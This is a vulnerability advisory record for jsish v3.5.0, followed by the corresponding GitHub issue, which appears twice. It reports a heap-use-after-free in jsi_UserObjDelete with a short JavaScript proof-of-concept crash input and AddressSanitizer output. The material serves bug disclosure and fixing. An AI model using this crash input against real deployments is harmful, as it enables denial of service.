Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_UserObjDelete in src/jsiUserObj.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
try {
    WebSocket(new Object());
} catch (e) {
}
try {
    (Number)('wrong');
} catch (e) {
}
```


###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
==116852==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000000220 at pc 0x56117e352348 bp 0x7ffdd456fd30 sp 0x7ffdd456fd20
READ of size 4 at 0x608000000220 thread T0
    #0 0x56117e352347 in jsi_UserObjDelete src/jsiUserObj.c:32
    #1 0x56117e1a9a28 in freeUserdataTbl src/jsiInterp.c:660
    #2 0x56117e24d8dd in Jsi_HashClear src/jsiHash.c:507
    #3 0x56117e24dcd7 in Jsi_HashDelete src/jsiHash.c:526
    #4 0x56117e1be7d8 in jsiInterpDelete src/jsiInterp.c:1935
    #5 0x56117e9d5047 in jsi_main src/main.c:49
    #6 0x7f876ebfebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #7 0x56117e164969 in _start (/usr/local/bin/jsish+0xe8969)

0x608000000220 is located 0 bytes inside of 96-byte region [0x608000000220,0x608000000280)
freed by thread T0 here:
    #0 0x7f876f86d7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x56117e2d6a0f in Jsi_ObjDecrRefCount src/jsiObj.c:440

previously allocated by thread T0 here:
    #0 0x7f876f86dd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x56117e1d5aa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiUserObj.c:32 in jsi_UserObjDelete
Shadow bytes around the buggy address:
  0x0c107fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c107fff8000: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8010: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8020: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8030: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c107fff8040: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8050: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8060: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8070: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8080: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c107fff8090: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==116852==ABORTING
```

Heap-use-after-free src/jsiUserObj.c:32 in jsi_UserObjDelete
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Heap-use-after-free src/jsiUserObj.c:32 in jsi_UserObjDelete
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
try {
    WebSocket(new Object());
} catch (e) {
}
try {
    (Number)('wrong');
} catch (e) {
}
```


###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
==116852==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000000220 at pc 0x56117e352348 bp 0x7ffdd456fd30 sp 0x7ffdd456fd20
READ of size 4 at 0x608000000220 thread T0
    #0 0x56117e352347 in jsi_UserObjDelete src/jsiUserObj.c:32
    #1 0x56117e1a9a28 in freeUserdataTbl src/jsiInterp.c:660
    #2 0x56117e24d8dd in Jsi_HashClear src/jsiHash.c:507
    #3 0x56117e24dcd7 in Jsi_HashDelete src/jsiHash.c:526
    #4 0x56117e1be7d8 in jsiInterpDelete src/jsiInterp.c:1935
    #5 0x56117e9d5047 in jsi_main src/main.c:49
    #6 0x7f876ebfebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #7 0x56117e164969 in _start (/usr/local/bin/jsish+0xe8969)

0x608000000220 is located 0 bytes inside of 96-byte region [0x608000000220,0x608000000280)
freed by thread T0 here:
    #0 0x7f876f86d7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x56117e2d6a0f in Jsi_ObjDecrRefCount src/jsiObj.c:440

previously allocated by thread T0 here:
    #0 0x7f876f86dd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x56117e1d5aa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiUserObj.c:32 in jsi_UserObjDelete
Shadow bytes around the buggy address:
  0x0c107fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c107fff8000: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8010: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8020: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8030: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c107fff8040: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8050: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8060: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8070: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8080: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c107fff8090: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==116852==ABORTING
```

--- end body ---

comments :
--- start comments ---

--- end comments ---